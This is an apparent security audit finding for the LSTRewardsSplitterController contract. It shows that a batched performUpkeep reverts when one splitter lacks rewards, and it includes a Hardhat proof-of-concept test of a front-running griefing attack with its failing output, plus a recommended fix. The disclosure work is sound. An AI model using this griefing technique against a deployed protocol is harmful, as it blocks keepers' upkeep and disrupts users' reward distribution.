Summary
LSTRewardsSplitterController contract has performUpkeep function that upkeeps splitters after checks upkeep-needed splitters.
performUpkeep` function has iteration for all upkeep-needed splitters, and it reverts if there are at least one splitter no needed to upkeep.
Therefore, after checkUpkeep , calling splitRewards reverts all performUpkeep transaction.
Vulnerability Details
LSTRewardsSplitterController#performUpkeep function can be reverted when any splitter hasn't sufficient rewards to split.
function performUpkeep(bytes calldata _performData) external {
bool[] memory splittersToCall = abi.decode(_performData, (bool[]));
bool splitterCalled;
@> for (uint256 i = 0; i < splittersToCall.length; ++i) {
if (splittersToCall[i] == true) {
@> splitters[accounts[i]].performUpkeep("");
splitterCalled = true;
}
}
if (splitterCalled == false) {
revert InvalidPerformData();
}
}
LSTRewardsSplitter#performUpkeep
function performUpkeep(bytes calldata) external {
int256 newRewards = int256(lst.balanceOf(address(this))) - int256(principalDeposits);
if (newRewards < 0) {
principalDeposits -= uint256(-1 * newRewards);
} else if (uint256(newRewards) < controller.rewardThreshold()) {
@> revert InsufficientRewards();
} else {
_splitRewards(uint256(newRewards));
}
}
splitterRewards function splits new rewards between fee receivers, so newRewards will be zero right after this call.
function splitRewards() external {
int256 newRewards = int256(lst.balanceOf(address(this))) - int256(principalDeposits);
if (newRewards < 0) {
principalDeposits -= uint256(-1 * newRewards);
} else if (newRewards == 0) {
revert InsufficientRewards();
} else {
_splitRewards(uint256(newRewards));
}
}
POC
it('griefing attack to performUpkeep', async () => {
const { controller, token, splitter0, splitter1 } = await loadFixture(deployFixture)
await token.transfer(splitter0.target, toEther(90))
await token.transfer(splitter1.target, toEther(80))
assert.deepEqual(await controller.checkUpkeep('0x'), [
false,
ethers.AbiCoder.defaultAbiCoder().encode(['bool[]'], [[false, false]]),
])
await token.transfer(splitter1.target, toEther(20))
assert.deepEqual(await controller.checkUpkeep('0x'), [
true,
ethers.AbiCoder.defaultAbiCoder().encode(['bool[]'], [[false, true]]),
])
await token.transfer(splitter0.target, toEther(10))
assert.deepEqual(await controller.checkUpkeep('0x'), [
true,
ethers.AbiCoder.defaultAbiCoder().encode(['bool[]'], [[true, true]]),
])
await splitter1.splitRewards();
await controller.performUpkeep(
ethers.AbiCoder.defaultAbiCoder().encode(['bool[]'], [[true, true]])
)
assert.deepEqual(await controller.checkUpkeep('0x'), [
false,
ethers.AbiCoder.defaultAbiCoder().encode(['bool[]'], [[false, false]]),
])
})
npx hardhat test test/core/lst-rewards-splitter.test.ts --grep "griefing attack to performUpkeep" --network hardhat
LSTRewardsSplitter
1) griefing attack to performUpkeep
0 passing (3s)
1 failing
1) LSTRewardsSplitter
griefing attack to performUpkeep:
Error: VM Exception while processing transaction: reverted with custom error 'InsufficientRewards()'
at LSTRewardsSplitter.performUpkeep (contracts/core/lstRewardsSplitter/LSTRewardsSplitter.sol:106)
at LSTRewardsSplitterController.performUpkeep (contracts/core/lstRewardsSplitter/LSTRewardsSplitterController.sol:99)
at EdrProviderWrapper.request (node_modules\hardhat\src\internal\hardhat-network\provider\provider.ts:446:41)
at async HardhatEthersSigner.sendTransaction (node_modules\@nomicfoundation\hardhat-ethers\src\signers.ts:125:18)
at async send (node_modules\ethers\src.ts\contract\contract.ts:313:20)
at async Proxy.performUpkeep (node_modules\ethers\src.ts\contract\contract.ts:352:16)
at async Context.<anonymous> (test\core\lst-rewards-splitter.test.ts:152:5)
Impact
Malicious actors can grief keepers to upkeep by front-running splitRewards for only one splitter, and it can be repeated several times, so protocol reputation can be reduced.
Tools Used
Manual Review
Recommendations
Don't revert if any splitter hasn't sufficient rewards or use custom error handling on LSTRewardsSplitterController#performUpkeep